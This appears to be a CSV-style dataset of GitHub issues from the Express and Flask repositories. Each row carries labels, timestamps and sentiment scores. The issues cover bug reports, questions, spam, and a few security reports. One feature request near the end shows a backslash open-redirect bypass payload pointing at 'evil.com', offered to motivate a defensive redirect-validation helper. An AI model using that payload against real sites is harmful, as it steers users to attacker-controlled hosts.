If I remove t... [TRUNCATED]",awaiting more info,2021-08-12 08:16:46+00:00,2021-08-12 14:18:20+00:00,4,awaiting more info,0.2511,bug with the decode param hello i think i found a bug in the decode param method in our paths our client can mix and match english and greek characters in the parameters but i found that if the first character is greek then i get the following error urierror failed to decode param ce b ce b cf at decodeuricomponent i snooped around and i found the following thing the val in decode param loses the first digit every second loop resulting to removing the from the encoded parameter if the first letter is greek making it ce b ce b cf instead of ce b ce b cf this actually prompts the error and throws the urierror if the first letter is english then the val stays with the and can be decoded below are some console logs this is when the first letter is greek ce b ce b cf ce b ce b cf ce b ce b cf ce b ce b cf ce b ce b cf ce b ce b cf this is when the first letter is english e ce b cf e ce b cf e ce b cf e ce b cf therefore the error failed to decode param is incorrect since it can actually decode the letter but for some reason the first digit every second loop is deleted if i remove t truncated,bug,-0.9815
expressjs/express,966054005,Regarding hosting,"Hey, I am new to express and still learning it but I had a question, what if I wanted to host the express website live on the internet without the port? Thank you for helping in advance also I did a google search and got nothing useful ",question,2021-08-11 06:39:34+00:00,2021-08-11 11:56:03+00:00,2,question,0.2198,regarding hosting hey i am new to express and still learning it but i had a question what if i wanted to host the express website live on the internet without the port thank you for helping in advance also i did a google search and got nothing useful,help,-0.4541
expressjs/express,965099510,Alternatives to passing values via url,"I currently have a server that displays values in template. Values are gotten from dynamic url building like so:

```
app.get('/:val1/:val2', function(req, res, next)){
res.render(
val1:val1,
val2:val2
)
}
```

The idea was, that anyone could customize the template page by typing the values in url. 

http://my-template-page/val1/val2

Downside of this approach is, as the number of values increases it becomes problematic handling the urls.
Is there an alternative approach? I considered creating separate JS file and passing variables to iframe like so:

```
<script type=""text/javascript"">
parameters = {val1,val2};
</script>
<iframe src=""my-template-page""></iframe>
```

But I can't get this approach to work. Are there any alternatives to passing values to template via url?",question,2021-08-10 15:53:50+00:00,2021-08-10 15:55:13+00:00,1,question,0.001,alternatives to passing values via url i currently have a server that displays values in template values are gotten from dynamic url building like so the idea was that anyone could customize the template page by typing the values in url downside of this approach is as the number of values increases it becomes problematic handling the urls is there an alternative approach i considered creating separate js file and passing variables to iframe like so but i can t get this approach to work are there any alternatives to passing values to template via url,help,0.9081
expressjs/express,961843500,Passing request parameters to router,"Related to a question of another user I found on StackOverflow:
https://stackoverflow.com/questions/34392834/express-js-how-can-i-pass-a-url-param-from-the-main-router-to-another-router-m

Is the only possibility to pass a request parameter to another router, to add a custom middleware function? 
It would be nice if it could be passed automatically, or is there a reason why this doesn't happen? I don't really see a good reason to be honest.","question,module:router",2021-08-05 08:23:23+00:00,2021-08-05 13:44:13+00:00,2,"question,module:router",0.2228,passing request parameters to router related to a question of another user i found on stackoverflow is the only possibility to pass a request parameter to another router to add a custom middleware function it would be nice if it could be passed automatically or is there a reason why this doesn t happen i don t really see a good reason to be honest,feature,0.8511
expressjs/express,960642063,app.get sendFile hostname domain express.js ?,"this.app.get('/', (req, res) =>{
     res.sendFile(__dirname + './www/index.html'); // use hostname domain ?
});

Hello, how to do this correctly ? connect to a domain instead of a localhost ?",question,2021-08-04 14:37:49+00:00,2021-08-04 15:36:56+00:00,1,question,0.0411,app get sendfile hostname domain express js this app get req res res sendfile dirname www index html use hostname domain hello how to do this correctly connect to a domain instead of a localhost,help,0.0
expressjs/express,960443220,issue with express 4.17.1 and websockets,"I have an issue with express v.4.17.1 and socket.io (but the same thing happens with the ws-package).

Code example:
````
""use strict"";

const express = require('express');
const app = express();
const server = require('http').createServer(app);
const io = require('socket.io')(server);

io.on('connection', (socket) => {
  console.log('user connected', socket.id);
});

server.listen(5000, () => console.log('Server listening on port 5000'));
````
This should expose a simple websocket server on port 5000. The problem is that the connections get refused. The client reconnects every 2-3 seconds.

By downgrading to express v.4.13.0, everything works fine, it's the only thing I've changed on the code so it is an issue with express I guess?

Anyone encountered this problem?",awaiting more info,2021-08-04 13:21:33+00:00,2021-10-22 15:13:50+00:00,2,awaiting more info,79.078,issue with express and websockets i have an issue with express v and socket io but the same thing happens with the ws package code example this should expose a simple websocket server on port the problem is that the connections get refused the client reconnects every seconds by downgrading to express v everything works fine it s the only thing i ve changed on the code so it is an issue with express i guess anyone encountered this problem,bug,-0.8625
pallets/flask,4673717329,AI spam,"## 🎓 Project Showcase

I built **Exam AI** - an intelligent exam preparation assistant using Flask for the web interface and Ollama for local LLM integration.

### ✨ Features
- 🌐 **Flask Web UI** - Clean, responsive interface for exam practice
- 🤖 **Ollama Integration** - Local LLM for AI-powered explanations
- 📝 **Question Bank** - Manage questions by exam type and subject
- ❌ **Wrong Question Tracker** - Automatic tracking with spaced repetition
- 📊 **Statistics Dashboard** - Visual progress tracking
- 💻 **CLI Tool** - Command-line interface for quick practice

### 🔗 Links
- **GitHub**: https://github.com/1036007003-wq/exam-ai
- **Live Demo**: https://1036007003-wq.github.io/exam-ai/
- **Documentation**: https://github.com/1036007003-wq/exam-ai#readme

### 🛠️ Tech Stack
- **Backend**: Flask, Python 3.8+
- **AI**: Ollama (qwen2.5:3b, llama3)
- **Frontend**: HTML5, CSS3, JavaScript
- **Data**: JSON-based question storage

Would love to get feedback from the Flask community! 🚀",,2026-06-16 11:27:59+00:00,2026-06-16 11:29:45+00:00,0,nan,0.0012,ai spam project showcase i built exam ai an intelligent exam preparation assistant using flask for the web interface and ollama for local llm integration features flask web ui clean responsive interface for exam practice ollama integration local llm for ai powered explanations question bank manage questions by exam type and subject wrong question tracker automatic tracking with spaced repetition statistics dashboard visual progress tracking cli tool command line interface for quick practice links github live demo documentation tech stack backend flask python ai ollama qwen b llama frontend html css javascript data json based question storage would love to get feedback from the flask community,others,0.8625
pallets/flask,4656504041,spam,Cross-reference verification of MongoDB-related book metadata from Open Library. For documentation purposes only.,,2026-06-13 18:27:50+00:00,2026-06-13 18:42:55+00:00,0,nan,0.0105,spam cross reference verification of mongodb related book metadata from open library for documentation purposes only,others,-0.3612
pallets/flask,4651664955,Dead Code Audit — 65 potentially unused functions,"## Code Health Audit: Dead Code in Flask  **65 potentially unused functions** detected across the codebase.  ### Top files with dead code:  - **examples\tutorial\flaskr\auth.py** (5): `login_required`
`load_logged_in_user`
`register`
`login`
`logout` - **examples\tutorial\tests\conftest.py** (5): `app`
`client`
`runner`
`auth`
`login` - **examples\tutorial\tests\test_auth.py** (5): `test_register`
`test_register_validate_input`
`test_login`
`test_login_validate_input`
`test_logout` - **examples\tutorial\tests\test_blog.py** (5): `test_index`
`test_login_required`
`test_author_required`
`test_exists_required`
`test_create` - **src\flask\app.py** (5): `wrapper`
`wrapper`
`get_send_file_max_age`
`send_static_file`
`open_resource` - **src\flask\cli.py** (5): `get_version`
`run_command`
`shell_command`
`routes_command`
`load_app` - **src\flask\config.py** (5): `from_envvar`
`from_prefixed_env`
`from_pyfile`
`from_object`
`from_file` - **src\flask\ctx.py** (5): `after_this_request`
`copy_current_request_context`
`has_request_context`
`has_app_context`
`get` - **src\flask\helpers.py** (5): `get_debug_flag`
`get_load_dotenv`
`make_response`
`url_for`
`redirect` - **src\flask\sessions.py** (5): `permanent`
`permanent`
`make_null_session`
`is_null_session`
`get_cookie_name` - **src\flask\templating.py** (5): `render_template`
`render_template_string`
`stream_template`
`stream_template_string`
`get_source` - **src\flask\views.py** (5): `dispatch_request`
`as_view`
`dispatch_request`
`vi... [TRUNCATED]",,2026-06-12 18:30:15+00:00,2026-06-12 18:31:37+00:00,1,nan,0.0009,dead code audit potentially unused functions code health audit dead code in flask potentially unused functions detected across the codebase top files with dead code examples tutorial flaskr auth py examples tutorial tests conftest py examples tutorial tests test auth py examples tutorial tests test blog py src flask app py src flask cli py src flask config py src flask ctx py src flask helpers py src flask sessions py src flask templating py src flask views py vi truncated,others,-0.9001
pallets/flask,4651592895,Dependency Audit — check for outdated packages,"## Dependency Health Check

Automated audit by [Dep Auditor](https://github.com/shunfeng8421/dep-auditor).

### Packages Found (requirements.txt)

- **amqp** v5.3.1 (last release: 2024-11-12)
- **async-timeout** v5.0.1 (last release: 2024-11-06)
- **billiard** v4.2.4 (last release: 2025-11-30)
- **blinker** v1.9.0 (last release: 2024-11-08)
- **celery** v5.6.3 (last release: 2026-03-26)

### Recommended Actions
1. Check if any package has been abandoned (no releases in 2+ years)
2. Consider replacing abandoned packages with maintained alternatives
3. Run Package                                  Version   Latest   Type
---------------------------------------- --------- -------- -----
aiofiles                                 24.1.0    25.1.0   wheel
aiohttp                                  3.13.5    3.14.1   wheel
alibabacloud-credentials                 1.0.8     1.0.9    wheel
alibabacloud-ecs20140526                 7.8.3     7.8.4    wheel
anthropic                                0.107.1   0.109.1  wheel
boltons                                  21.0.0    25.0.0   wheel
ccxt                                     4.5.56    4.5.58   wheel
click                                    8.1.8     8.4.1    wheel
cryptography                             46.0.7    48.0.1   wheel
crytic-compile                           0.3.11    0.4.1    wheel
cyclopts                                 4.17.0    4.18.0   wheel
eth-keyfile                              0.8.1     0.9.1    wheel
exceptiongroup  ... [TRUNCATED]",,2026-06-12 18:17:44+00:00,2026-06-12 18:19:23+00:00,1,nan,0.0011,dependency audit check for outdated packages dependency health check automated audit by dep auditor packages found requirements txt amqp v last release async timeout v last release billiard v last release blinker v last release celery v last release recommended actions check if any package has been abandoned no releases in years consider replacing abandoned packages with maintained alternatives run package version latest type aiofiles wheel aiohttp wheel alibabacloud credentials wheel alibabacloud ecs wheel anthropic wheel boltons wheel ccxt wheel click wheel cryptography wheel crytic compile wheel cyclopts wheel eth keyfile wheel exceptiongroup truncated,others,-0.7506
pallets/flask,4651590446,Dependency Health Check,Audited by Dep Auditor. Requirements.txt packages: amqp v5.3.1|async-timeout v5.0.1|billiard v4.2.4|blinker v1.9.0|celery v5.6.3,,2026-06-12 18:17:15+00:00,2026-06-12 18:18:43+00:00,0,nan,0.001,dependency health check audited by dep auditor requirements txt packages amqp v async timeout v billiard v blinker v celery v,others,0.0
pallets/flask,4640521115,register_blueprint name override bypasses dot validation,"The `Blueprint` constructor explicitly prevents dots in names (`if ""."" in name: raise ValueError`) because dots denote nested blueprints. However, `app.register_blueprint(..., name=""..."")` doesn't enforce this check on the overridden name.

If a blueprint is registered with a dot via the `name` kwarg, it bypasses the restriction. This tricks the framework into treating it as a nested blueprint, causing the parent's callbacks (like `before_request`) to unexpectedly execute for the unrelated child blueprint.

### How to replicate the bug
```python
import flask

app = flask.Flask(__name__)
parent = flask.Blueprint(""parent"", __name__)
child = flask.Blueprint(""child"", __name__)

parent.before_request(lambda: setattr(flask.g, ""hit"", True))
child.add_url_rule(""/"", ""index"", lambda: str(hasattr(flask.g, ""hit"")))

app.register_blueprint(parent)
app.register_blueprint(child, name=""parent.fake"") # Bypasses dot validation

print(app.test_client().get(""/"").get_data(as_text=True))",,2026-06-11 12:40:53+00:00,2026-06-11 13:05:27+00:00,1,nan,0.0171,register blueprint name override bypasses dot validation the constructor explicitly prevents dots in names because dots denote nested blueprints however doesn t enforce this check on the overridden name if a blueprint is registered with a dot via the kwarg it bypasses the restriction this tricks the framework into treating it as a nested blueprint causing the parent s callbacks like to unexpectedly execute for the unrelated child blueprint how to replicate the bug python import flask app flask flask name parent flask blueprint parent name child flask blueprint child name parent before request lambda setattr flask g hit true child add url rule index lambda str hasattr flask g hit app register blueprint parent app register blueprint child name parent fake bypasses dot validation print app test client get get data as text true,others,-0.1091
pallets/flask,4618840790,AI Junk,LLM junk removed,,2026-06-09 04:31:22+00:00,2026-06-09 06:23:24+00:00,2,nan,0.0778,ai junk llm junk removed,others,0.0
pallets/flask,4618839812,AI Junk,LLM junk removed,,2026-06-09 04:31:12+00:00,2026-06-09 06:23:27+00:00,2,nan,0.078,ai junk llm junk removed,others,0.0
pallets/flask,4618838696,AI Junk,LLM junk removed,,2026-06-09 04:31:02+00:00,2026-06-09 06:23:30+00:00,2,nan,0.0781,ai junk llm junk removed,others,0.0
pallets/flask,4618837840,AI Junk,LLM junk removed,,2026-06-09 04:30:51+00:00,2026-06-09 06:23:33+00:00,2,nan,0.0783,ai junk llm junk removed,others,0.0
pallets/flask,4618836201,AI Junk,LLM junk removed,,2026-06-09 04:30:34+00:00,2026-06-09 06:23:37+00:00,2,nan,0.0785,ai junk llm junk removed,others,0.0
pallets/flask,4596655068,multiple teardown errors are discarded on Python < 3.11,"Markdown
On Python versions prior to 3.11, `_CollectErrors.raise_any()` (in `src/flask/helpers.py`, line 682) only re-raises the very first collected error, silently swallowing any subsequent teardown errors. This makes debugging secondary teardown failures impossible on Python < 3.11.

### How to replicate the bug
1. Create a `_CollectErrors` context manager.
2. Trigger multiple teardown exceptions (e.g., DB close fails, then Cache flush fails).
3. Call `raise_any()`. Only the first exception is raised; the others are silently lost.

**Minimal Reproducible Example:**
```python
import sys

class _CollectErrors:
    def __init__(self):
        self.errors = []

    def __enter__(self):
        pass

    def __exit__(self, exc_type, exc_val, exc_tb):
        if exc_val is not None:
            self.errors.append(exc_val)
        return True

    def raise_any(self, message: str) -> None:
        if self.errors:
            if sys.version_info >= (3, 11):
                raise BaseExceptionGroup(message, self.errors)
            else:
                raise self.errors[0]   # BUG: only first error raised

collect = _CollectErrors()

with collect:
    raise RuntimeError(""DB connection close failed"")
with collect:
    raise ValueError(""File handle close failed"")

try:
    collect.raise_any(""Teardown errors"")
except Exception as e:
    print(f""Raised: {type(e).__name__}: {e}"")
    print(f""Total collected: {len(collect.errors)}"")
```

Expected behavior
Even without BaseExceptionGroup... [TRUNCATED]",,2026-06-05 11:46:52+00:00,2026-06-05 11:57:37+00:00,2,nan,0.0075,multiple teardown errors are discarded on python markdown on python versions prior to in line only re raises the very first collected error silently swallowing any subsequent teardown errors this makes debugging secondary teardown failures impossible on python how to replicate the bug create a context manager trigger multiple teardown exceptions e g db close fails then cache flush fails call only the first exception is raised the others are silently lost minimal reproducible example even without baseexceptiongroup truncated,bug,-0.9651
pallets/flask,4501597839,API doc references are not sorted,"Method and properties in API docs are not following any sorting rules, making it hard to find specific references.

https://flask.palletsprojects.com/en/stable/api/#flask.Request

<img width=""245"" height=""369"" alt=""Image"" src=""https://github.com/user-attachments/assets/29390e00-5264-443d-ad4b-41e9f162e128"" />

I failed to find `endpoint` located between top `max_form_parts` and bottom `blueprint`.

Expected alphabetic order for all class attributes.",,2026-05-22 09:39:57+00:00,2026-05-22 12:34:38+00:00,2,nan,0.1213,api doc references are not sorted method and properties in api docs are not following any sorting rules making it hard to find specific references i failed to find located between top and bottom expected alphabetic order for all class attributes,documentation,-0.6124
pallets/flask,4472902129,FLASK_DEBUG env variable no longer works as of click 8.4.0,"**Description of bug:**

FLASK_DEBUG=1 was working previously to set flask's debug mode either in a .env/.flaskenv and using python-dotenv OR by manually setting with export FLASK_DEBUG=1. As of today, setting it by env variable no longer works. Flask will still use debug mode using the --debug flag. Downgrading click to 8.3.3 resolves the issue.

**Replicate bug:**

```
python3 -m venv venv
. venv/bin/activate
pip install flask
cat << EOF > app.py
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
    return 'hello world'
EOF
export FLASK_DEBUG=1
flask run
```

**This produces:**

Debug mode: off

```
pip install click==8.3.3
flask run
```

**Then produces:**

Debug mode: on

**Environment:**

- Python version: 3.12.3
- Flask version: 3.1.3
",,2026-05-18 22:05:58+00:00,2026-05-21 03:48:38+00:00,2,nan,2.238,flask debug env variable no longer works as of click description of bug flask debug was working previously to set flask s debug mode either in a env flaskenv and using python dotenv or by manually setting with export flask debug as of today setting it by env variable no longer works flask will still use debug mode using the debug flag downgrading click to resolves the issue replicate bug this produces debug mode off then produces debug mode on environment python version flask version,bug,-0.8271
pallets/flask,4460193531,Config.from_file() silently ignores fewer OSError codes than from_pyfile(),"## Summary

`Config.from_file()` and `Config.from_pyfile()` behave inconsistently when `silent=True` and an `OSError` is raised.

`from_pyfile()` silences errors for these `errno` codes:

```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR, errno.ENOTDIR):
    return False
```

But `from_file()` only silences:

```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
    return False
```

It is missing `errno.ENOTDIR`.

## Reproduction

`ENOTDIR` is raised when a path component is a regular file, not a directory. For example, if `/tmp/myconfig` is a regular file and you try to open `/tmp/myconfig/settings.json`, the OS raises `ENOTDIR` (not a directory).

```python
import os, tempfile
from flask import Flask

app = Flask(__name__)

# create a file where we expect a directory
with tempfile.NamedTemporaryFile(delete=False, suffix=""cfg"") as f:
    f.write(b"""")
    tmp = f.name

# from_pyfile with silent=True returns False (correct)
result = app.config.from_pyfile(tmp + ""/nested.cfg"", silent=True)
# from_file with silent=True raises OSError instead of returning False (bug)
result = app.config.from_file(tmp + ""/nested.json"", load=json.load, silent=True)
```

## Expected behavior

Both methods should return `False` when `silent=True` and the path is not reachable due to `ENOTDIR`, just like they both return `False` for `ENOENT` and `EISDIR`.

## Fix

Add `errno.ENOTDIR` to the tuple in `from_file()`:

```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR... [TRUNCATED]",,2026-05-16 14:34:46+00:00,2026-05-16 14:59:57+00:00,1,nan,0.0175,config from file silently ignores fewer oserror codes than from pyfile summary and behave inconsistently when and an is raised silences errors for these codes but only silences it is missing reproduction is raised when a path component is a regular file not a directory for example if is a regular file and you try to open the os raises not a directory both methods should return when and the path is not reachable due to just like they both return for and fix add to the tuple in python if silent and e errno in errno enoent errno eisdir truncated,bug,0.3506
pallets/flask,4342455795,<spam>,"Irresponsible potential vulnerability report

genAI slop",,2026-04-28 10:38:52+00:00,2026-04-28 11:55:50+00:00,3,nan,0.0534,irresponsible potential vulnerability report genai slop,others,-0.5859
pallets/flask,4280524295,Missing tests: 9 source files have no test coverage,"9 of 34 source files (26%) have no identifiable test or spec file. This creates a gap in coverage and increases regression risk. 53 test files were found.

**Affected paths:**
- `examples/celery/make_celery.py`
- `examples/celery/src/task_app/tasks.py`
- `src/flask/__main__.py`
- `src/flask/debughelpers.py`
- `src/flask/globals.py`
- `src/flask/json/provider.py`
- `src/flask/sansio/scaffold.py`
- `src/flask/sessions.py`
- `src/flask/wrappers.py`

---
*Generated by ACE Code Memory. Finding ID: `91d33204-d3b1-495d-a313-79a9da8e3788`*",,2026-04-17 06:05:26+00:00,2026-04-17 06:13:09+00:00,1,nan,0.0054,missing tests source files have no test coverage of source files have no identifiable test or spec file this creates a gap in coverage and increases regression risk test files were found affected paths generated by ace code memory finding id,others,-0.7118
pallets/flask,4280483131,Missing tests: 9 source files have no test coverage,"9 of 34 source files (26%) have no identifiable test or spec file. This creates a gap in coverage and increases regression risk. 53 test files were found.

**Affected paths:**
- `examples/celery/make_celery.py`
- `examples/celery/src/task_app/tasks.py`
- `src/flask/__main__.py`
- `src/flask/debughelpers.py`
- `src/flask/globals.py`
- `src/flask/json/provider.py`
- `src/flask/sansio/scaffold.py`
- `src/flask/sessions.py`
- `src/flask/wrappers.py`

---
*Generated by ACE Code Memory. Finding ID: `91d33204-d3b1-495d-a313-79a9da8e3788`*",,2026-04-17 05:55:53+00:00,2026-04-17 06:13:01+00:00,1,nan,0.0119,missing tests source files have no test coverage of source files have no identifiable test or spec file this creates a gap in coverage and increases regression risk test files were found affected paths generated by ace code memory finding id,others,-0.7118
pallets/flask,4280477338,Missing tests: 9 source files have no test coverage,"9 of 34 source files (26%) have no identifiable test or spec file. This creates a gap in coverage and increases regression risk. 53 test files were found.

**Affected paths:**
- `examples/celery/make_celery.py`
- `examples/celery/src/task_app/tasks.py`
- `src/flask/__main__.py`
- `src/flask/debughelpers.py`
- `src/flask/globals.py`
- `src/flask/json/provider.py`
- `src/flask/sansio/scaffold.py`
- `src/flask/sessions.py`
- `src/flask/wrappers.py`

---
*Generated by ACE Code Memory. Finding ID: `91d33204-d3b1-495d-a313-79a9da8e3788`*",,2026-04-17 05:54:32+00:00,2026-04-17 06:12:49+00:00,1,nan,0.0127,missing tests source files have no test coverage of source files have no identifiable test or spec file this creates a gap in coverage and increases regression risk test files were found affected paths generated by ace code memory finding id,others,-0.7118
pallets/flask,4280472963,Missing tests: 9 source files have no test coverage,"9 of 34 source files (26%) have no identifiable test or spec file. This creates a gap in coverage and increases regression risk. 53 test files were found.

**Affected paths:**
- `examples/celery/make_celery.py`
- `examples/celery/src/task_app/tasks.py`
- `src/flask/__main__.py`
- `src/flask/debughelpers.py`
- `src/flask/globals.py`
- `src/flask/json/provider.py`
- `src/flask/sansio/scaffold.py`
- `src/flask/sessions.py`
- `src/flask/wrappers.py`

---
*Generated by ACE Code Memory. Finding ID: `91d33204-d3b1-495d-a313-79a9da8e3788`*",,2026-04-17 05:53:24+00:00,2026-04-17 06:12:17+00:00,1,nan,0.0131,missing tests source files have no test coverage of source files have no identifiable test or spec file this creates a gap in coverage and increases regression risk test files were found affected paths generated by ace code memory finding id,others,-0.7118
pallets/flask,4257048423,<spam>,spam removed,,2026-04-13 18:31:05+00:00,2026-04-13 18:45:57+00:00,0,nan,0.0103,spam removed,others,-0.3612
pallets/flask,4240346845,<spam>,Invalid AI security slop,,2026-04-10 16:10:05+00:00,2026-04-10 16:12:27+00:00,2,nan,0.0016,invalid ai security slop,others,0.34
pallets/flask,4229315467,"Docs: doubled word ""the the"" in TESTING config description","In `docs/config.rst`, the description for `TESTING` contains a doubled word:

```
Exceptions are propagated rather than handled by the
the app's error handlers.
```

Should be:

```
Exceptions are propagated rather than handled by the app's error handlers.
```

**File:** `docs/config.rst` line 83",,2026-04-09 03:59:14+00:00,2026-04-09 04:00:30+00:00,2,nan,0.0009,docs doubled word the the in testing config description in the description for contains a doubled word should be file line,documentation,0.0
pallets/flask,4155980401,fix: celery task result endpoint crashes on task failure,"## Description

When a Celery task fails, `result.ready()` evaluates to `True` but `result.successful()` is `False`. 
Calling `result.get()` without `propagate=False` on a failed task will re-raise the task's exception, causing the Flask endpoint to crash with a 500 Internal Server Error instead of returning the task's failed status. 
Additionally, if `result.result` is an Exception object, returning it directly in the dictionary will cause a `TypeError` during JSON serialization.


**Severity**: `medium`
**File**: `examples/celery/src/task_app/views.py`

## Expected Behavior

The code should handle this case properly to avoid unexpected errors or degraded quality.",,2026-03-27 21:19:28+00:00,2026-03-27 21:21:38+00:00,1,nan,0.0015,celery task result endpoint crashes on task failure description when a celery task fails evaluates to but is calling without on a failed task will re raise the task s exception causing the flask endpoint to crash with a internal server error instead of returning the task s failed status additionally if is an exception object returning it directly in the dictionary will cause a during json serialization severity file the code should handle this case properly to avoid unexpected errors or degraded quality,bug,-0.9437
pallets/flask,4126162553,Flask 3.1.3 test (`test_environ_for_valid_idna_completes`) breaks after Werkzeug update from 3.1.6 to 3.1.7,"Flask 3.1.3 test (`test_environ_for_valid_idna_completes`) breaks after Werkzeug update from 3.1.6 to 3.1.7.

To replicate the bug you just need to run testsuite:
```
$ python3 -m pytest -vra

<...>

=================================== FAILURES ===================================
____________________ test_environ_for_valid_idna_completes _____________________

    def test_environ_for_valid_idna_completes():
        app = flask.Flask(__name__)

        @app.route(""/"")
        def index():
            return ""Hello World!""

        from flask.testing import EnvironBuilder

        builder = EnvironBuilder(app)
        environ = builder.get_environ()

        # these characters are all IDNA-compatible
        environ[""HTTP_HOST""] = ""ąśźäüжŠßя.com""

        with app.request_context(environ):
            response = app.full_dispatch_request()

>       assert response.status_code == 200
E       assert 400 == 200
E        +  where 400 = <Response streamed [400 BAD REQUEST]>.status_code

tests/test_reqctx.py:314: AssertionError
=========================== short test summary info ============================
FAILED tests/test_reqctx.py::test_environ_for_valid_idna_completes - assert 4...
```

Environment:

- Python version: 3.13.12
- Flask version: 3.1.3
- Werkzeug version: 3.1.7
",,2026-03-24 08:38:52+00:00,2026-03-24 13:55:59+00:00,4,nan,0.2202,flask test breaks after werkzeug update from to flask test breaks after werkzeug update from to to replicate the bug you just need to run testsuite environment python version flask version werkzeug version,others,-0.4588
pallets/flask,4076432817,docs: Missing Redis setup instructions in Celery example README,"## Description

The `examples/celery/README.md` does not mention that **Redis is required** 
as a message broker for Celery to work. A beginner following the instructions 
will successfully start the Celery worker but immediately see repeated 
connection errors like:
```
ERROR/MainProcess] consumer: Cannot connect to redis://localhost:6379//: 
Error 111 connecting to localhost:6379. Connection refused..
Trying again in 2.00 seconds... (1/100)
```

This is confusing because nothing in the README warns about this dependency.

## Steps to Reproduce

1. Follow the README instructions exactly
2. Run `celery -A make_celery worker --loglevel INFO`
3. Celery starts but immediately fails trying to connect to Redis
4. Nothing in the README explains why or how to fix it

## Expected Behavior

The README should mention that Redis is required and provide 
setup instructions for it.

## Proposed Fix

Add the following before the `celery` run command in `README.md`:
```rst
Celery requires a message broker. Install and start Redis before 
running the worker:

$ sudo apt install redis-server   # Debian/Ubuntu
$ sudo service redis start

# Verify Redis is running:
$ redis-cli ping
# Expected output: PONG
```

## Environment

- OS: Ubuntu / Debian (Linux)
- Flask version: latest (main branch)
- Celery version: 5.6.2

## Additional Notes

This is a documentation-only change with no impact on code. 
It improves the onboarding experience for beginners on 
Debian/Ubuntu systems, which are the most ... [TRUNCATED]",,2026-03-14 18:30:45+00:00,2026-03-16 18:59:21+00:00,0,nan,2.0199,docs missing redis setup instructions in celery example readme description the does not mention that redis is required as a message broker for celery to work a beginner following the instructions will successfully start the celery worker but immediately see repeated connection errors like this is confusing because nothing in the readme warns about this dependency follow the readme instructions exactly run celery starts but immediately fails trying to connect to redis nothing in the readme explains why or how to fix it the readme should mention that redis is required and provide setup instructions for it proposed fix add the following before the run command in environment os ubuntu debian linux flask version latest main branch celery version additional notes this is a documentation only change with no impact on code it improves the onboarding experience for beginners on debian ubuntu systems which are the most truncated,documentation,0.34
pallets/flask,4035256126,flask run should support pep723,"Because no one wants to use:

native pkgutil-style, declarative, non-declarative, setup.py, setup.cfg, pyproject.toml, pep517, setuptools, build, pip, namespace packages,  normal packages, pkg-util namespace package

You name it because I won't.

Having `flask run` or any such primitive commands to allow running a flask application would make the entire process go from a 2 weeks pip marathon to a 10 minutes max of relaxing time where it just works magically.


",,2026-03-06 17:11:48+00:00,2026-03-06 19:50:53+00:00,4,nan,0.1105,flask run should support pep because no one wants to use native pkgutil style declarative non declarative setup py setup cfg pyproject toml pep setuptools build pip namespace packages normal packages pkg util namespace package you name it because i won t having or any such primitive commands to allow running a flask application would make the entire process go from a weeks pip marathon to a minutes max of relaxing time where it just works magically,help,0.8519
pallets/flask,3980888493,Clarify recommended debug workflow in Quickstart documentation,"While reviewing the Quickstart documentation (https://flask.palletsprojects.com/en/stable/quickstart/#debug-mode), I noticed that debug mode is discussed but the distinction between using `app.run(debug=True)` and the recommended `flask run --debug` CLI flag is not clearly emphasized.

Many external tutorials still reference `app.run(debug=True)`, and new users may not understand when to use the CLI flag versus enabling debug mode directly in application code.

It may be helpful to clarify:

- That `flask run --debug` is the recommended development workflow
- When `app.run(debug=True)` is appropriate
- Why separating debug configuration from application code is considered best practice",,2026-02-24 00:54:46+00:00,2026-02-24 00:57:37+00:00,1,nan,0.002,clarify recommended debug workflow in quickstart documentation while reviewing the quickstart documentation i noticed that debug mode is discussed but the distinction between using and the recommended cli flag is not clearly emphasized many external tutorials still reference and new users may not understand when to use the cli flag versus enabling debug mode directly in application code it may be helpful to clarify that is the recommended development workflow when is appropriate why separating debug configuration from application code is considered best practice,bug,0.9084
pallets/flask,3972836402,"[Security] Default session HMAC digest should be SHA-256, not SHA-1","## Summary

Flask's `SecureCookieSessionInterface` uses SHA-1 as the default HMAC digest for signing session cookies. SHA-1 has been deprecated by NIST (since 2011) and is no longer recommended for cryptographic use.

## Location

`src/flask/sessions.py`, line 293:

```python
digest_method = staticmethod(_lazy_sha1)
",,2026-02-21 21:16:02+00:00,2026-02-21 21:27:24+00:00,0,nan,0.0079,security default session hmac digest should be sha not sha summary flask s uses sha as the default hmac digest for signing session cookies sha has been deprecated by nist since and is no longer recommended for cryptographic use location line python digest method staticmethod lazy sha,others,-0.128
pallets/flask,3972254400,Add a built-in is_safe_redirect() helper to handle browser URL normalization (backslash → forward slash),"Modern browsers normalize backslashes in navigation URLs (e.g., `\\evil.com`) into forward slashes (`//evil.com`). This creates a discrepancy between how Flask/Werkzeug evaluates redirect targets and how user agents ultimately interpret them.

A common pattern used by Flask developers to prevent protocol-relative redirects is:

```python
if not url.startswith(""//""):
    return redirect(url)
```

However, the following payload bypasses this logic:

```
\\evil.com
```

Flask/Werkzeug evaluates this as a safe relative path (`startswith(""//"") == False`), while browsers normalize it to:

```
https://evil.com
```

and perform an external redirect. This normalization behavior is consistent across Chrome, Firefox, and Safari.

As Flask does not provide a built-in redirect validation helper, developers routinely implement ad-hoc string checks that do not account for browser normalization rules, resulting in an ecosystem-wide class of open-redirect flaws.

**Feature Request**

Introduce an official, browser-aware redirect safety utility in Flask or Werkzeug, similar to Django’s `is_safe_url`, to standardize redirect validation across the framework. The helper should:

1. Normalize backslashes to forward slashes before validation.
2. Reject protocol-relative URLs (`//example.com`).
3. Optionally enforce allowed host checks.
4. Provide a documented, recommended pattern for safe redirects.

**Rationale**

- This issue is not a flaw in Flask’s redirect implementation but a recurring securi... [TRUNCATED]",,2026-02-21 15:52:17+00:00,2026-02-21 17:55:11+00:00,1,nan,0.0853,add a built in is safe redirect helper to handle browser url normalization backslash forward slash modern browsers normalize backslashes in navigation urls e g into forward slashes this creates a discrepancy between how flask werkzeug evaluates redirect targets and how user agents ultimately interpret them a common pattern used by flask developers to prevent protocol relative redirects is however the following payload bypasses this logic flask werkzeug evaluates this as a safe relative path while browsers normalize it to and perform an external redirect this normalization behavior is consistent across chrome firefox and safari as flask does not provide a built in redirect validation helper developers routinely implement ad hoc string checks that do not account for browser normalization rules resulting in an ecosystem wide class of open redirect flaws feature request introduce an official browser aware redirect safety utility in flask or werkzeug similar to django s to standardize redirect validation across the framework the helper should normalize backslashes to forward slashes before validation reject protocol relative urls optionally enforce allowed host checks provide a documented recommended pattern for safe redirects rationale this issue is not a flaw in flask s redirect implementation but a 